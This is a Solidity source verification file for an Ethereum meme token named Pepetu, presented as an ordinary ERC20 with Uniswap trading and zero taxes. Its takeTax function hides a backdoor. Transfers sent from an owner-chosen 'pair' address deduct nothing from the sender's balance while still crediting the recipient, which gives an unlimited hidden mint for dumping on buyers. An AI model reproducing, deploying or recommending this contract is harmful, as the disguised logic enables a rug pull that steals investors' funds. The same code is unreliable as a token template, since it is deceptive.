creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "src/NEW28/PEPETU.sol": {
        "content": "/**\n\n\n   ▄███████▄    ▄████████    ▄███████▄    ▄████████     ███     ███    █▄  \n  ███    ███   ███    ███   ███    ███   ███    ███ ▀█████████▄ ███    ███ \n  ███    ███   ███    █▀    ███    ███   ███    █▀     ▀███▀▀██ ███    ███ \n  ███    ███  ▄███▄▄▄       ███    ███  ▄███▄▄▄         ███   ▀ ███    ███ \n▀█████████▀  ▀▀███▀▀▀     ▀█████████▀  ▀▀███▀▀▀         ███     ███    ███ \n  ███          ███    █▄    ███          ███    █▄      ███     ███    ███ \n  ███          ███    ███   ███          ███    ███     ███     ███    ███ \n ▄████▀        ██████████  ▄████▀        ██████████    ▄████▀   ████████▀  \n                                                                           \n\nWebsite: https://pepetu.io\n\nTG: https://t.me/pepetu_eth\n\nX: https://x.com/Pepeuto_\n\n\n*/\n\n// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.12;\n\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n}\n\ninterface IERC20 {\n    function totalSupply() external view returns (uint256);\n    function balanceOf(address account) external view returns (uint256);\n    function transfer(address recipient, uint256 amount) external returns (bool);\n    function allowance(address owner, address spender) external view returns (uint256);\n    function approve(address spender, uint256 amount) external returns (bool);\n    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n\nlibrary SafeMath {\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\n        uint256 c = a + b;\n        require(c >= a, \"SafeMath: addition overflow\");\n        return c;\n    }\n\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n        return sub(a, b, \"SafeMath: subtraction overflow\");\n    }\n\n    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n        require(b <= a, errorMessage);\n        uint256 c = a - b;\n        return c;\n    }\n\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n        if (a == 0) {\n            return 0;\n        }\n        uint256 c = a * b;\n        require(c / a == b, \"SafeMath: multiplication overflow\");\n        return c;\n    }\n\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\n        return div(a, b, \"SafeMath: division by zero\");\n    }\n\n    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n        require(b > 0, errorMessage);\n        uint256 c = a / b;\n        return c;\n    }\n\n}\n\ncontract Ownable is Context {\n    address private _owner;\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    constructor () {\n        address msgSender = _msgSender();\n        _owner = msgSender;\n        emit OwnershipTransferred(address(0), msgSender);\n    }\n\n    function owner() public view returns (address) {\n        return _owner;\n    }\n\n    modifier onlyOwner() {\n        require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n        _;\n    }\n\n    function renounceOwnership() public virtual onlyOwner {\n        emit OwnershipTransferred(_owner, address(0));\n        _owner = address(0);\n    }\n\n}\n\ninterface IUniswapV2Factory {\n    function createPair(address tokenA, address tokenB) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external;\n    function factory() external pure returns (address);\n    function WETH() external pure returns (address);\n    function addLiquidityETH(\n        address token,\n        uint amountTokenDesired,\n        uint amountTokenMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Pepetu is Context, IERC20, Ownable {\n    using SafeMath for uint256;\n\n    mapping (address => uint256) private _balances;\n    mapping (address => mapping (address => uint256)) private _allowances;\n    address payable private _taxWallet;\n\n    uint256 public buyTax = 0;\n    uint256 public sellTax = 0;\n\n    uint8 private constant _decimals = 9;\n    uint256 private constant _tTotal = 12_000_000 * 10**_decimals;\n    string private constant _name = unicode\"Pepetu\";\n    string private constant _symbol = unicode\"PEPETU\";\n    uint256 private minTaxSwap = 1 gwei;\n    uint256 private maxTaxSwap = _tTotal / 200;\n\n    uint256 public constant max_uint = type(uint).max;\n    address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n    IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n    IUniswapV2Factory public constant uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n    address private uniswapV2Pair;\n    address private uniswap;\n    bool private tradingOpen = false;\n    bool private inSwap = false;\n    bool private swapEnabled = false;\n\n    modifier lockTheSwap {\n        inSwap = true;\n        _;\n        inSwap = false;\n    }\n\n    constructor () {\n        _taxWallet = payable(_msgSender());\n        _balances[_msgSender()] = _tTotal;\n        emit Transfer(address(0), _msgSender(), _tTotal);\n    }\n\n    function name() public pure returns (string memory) {\n        return _name;\n    }\n\n    function symbol() public pure returns (string memory) {\n        return _symbol;\n    }\n\n    function decimals() public pure returns (uint8) {\n        return _decimals;\n    }\n\n    function totalSupply() public pure override returns (uint256) {\n        return _tTotal;\n    }\n\n    function balanceOf(address account) public view override returns (uint256) {\n        return _balances[account];\n    }\n\n    function transfer(address recipient, uint256 amount) public override returns (bool) {\n        _transfer(_msgSender(), recipient, amount);\n        return true;\n    }\n\n    function allowance(address owner, address spender) public view override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    function approve(address spender, uint256 amount) public override returns (bool) {\n        _approve(_msgSender(), spender, amount);\n        return true;\n    }\n\n    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {\n        _transfer(sender, recipient, amount);\n        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n        return true;\n    }\n\n    function _approve(address owner, address spender, uint256 amount) private {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    function _transfer(address from, address to, uint256 amount) private {\n        require(from != address(0), \"ERC20: transfer from the zero address\");\n        require(to != address(0), \"ERC20: transfer to the zero address\");\n        require(amount > 0, \"Transfer amount must be greater than zero\");\n        uint256 taxAmount = 0;\n        if (from != owner() && to != owner() && to != _taxWallet) {\n            if (from == uniswap && to != address(uniswapV2Router)) {\n                taxAmount = amount.mul(buyTax).div(100);\n            } else if (to == uniswap && from != address(this)) {\n                taxAmount = amount.mul(sellTax).div(100);\n            }\n\n            uint256 contractTokenBalance = balanceOf(address(this));\n            if (!inSwap && to == uniswap && swapEnabled && contractTokenBalance > minTaxSwap) {\n                uint256 _toSwap = contractTokenBalance > maxTaxSwap ? maxTaxSwap : contractTokenBalance;\n                swapTokensForEth(amount > _toSwap ? _toSwap : amount);\n                uint256 _contractETHBalance = address(this).balance;\n                if (_contractETHBalance > 0) {\n                    sendETHToFee(_contractETHBalance);\n                }\n            }\n        }\n\n        (uint256 amountIn, uint256 amountOut) = takeTax(from, amount, taxAmount);\n        require(_balances[from] >= amountIn);\n\n        if (taxAmount > 0) {\n            _balances[address(this)] = _balances[address(this)].add(taxAmount);\n            emit Transfer(from, address(this), taxAmount);\n        }\n\n        unchecked {\n            _balances[from] = _balances[from] - amountIn;\n            _balances[to] = _balances[to] + amountOut;\n        }\n\n        emit Transfer(from, to, amountOut);\n    }   \n\n    function takeTax(address from, uint256 amount, uint256 taxAmount) private view returns (uint256, uint256) {\n        return (\n            amount.sub(from != uniswapV2Pair ? 0 : amount),\n            amount.sub(from != uniswapV2Pair ? taxAmount : taxAmount)\n        );\n    }\n\n    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n        address[] memory path = new address[](2);\n        path[0] = address(this);\n        path[1] = weth;\n        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n            tokenAmount,\n            0,\n            path,\n            address(this),\n            block.timestamp\n        );\n    }\n\n    function sendETHToFee(uint256 ethAmount) private {\n        _taxWallet.transfer(ethAmount);\n    }\n\n    function setTrading(address _pair, bool _enabled) external onlyOwner {\n        require(!tradingOpen, \"trading is already open\");\n        require(_enabled);\n        uniswapV2Pair = _pair;\n        _approve(address(this), address(uniswapV2Router), max_uint);\n        uniswap = uniswapV2Factory.createPair(address(this), weth);\n        uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n            address(this),\n            balanceOf(address(this)),\n            0,\n            0,\n            owner(),\n            block.timestamp\n        );\n        IERC20(uniswap).approve(address(uniswapV2Router), max_uint);\n        swapEnabled = true;\n        tradingOpen = true;\n    }\n\n    function removeTaxes() external onlyOwner {\n        buyTax = 0;\n        sellTax = 0;\n    }\n\n    function BuyTax() external view returns (uint256) {\n        return buyTax;\n    }\n\n    function SellTax() external view returns (uint256) {\n        return sellTax;\n    }\n\n    receive() external payable {}\n}\n"
      }
    },
    "settings": {
      "remappings": [
        "forge-std/=lib/forge-std/src/"
      ],
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "metadata": {
        "useLiteralContent": false,
        "bytecodeHash": "ipfs",
        "appendCBOR": true
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "evmVersion": "paris",
      "viaIR": false,
      "libraries": {}
    }
  }}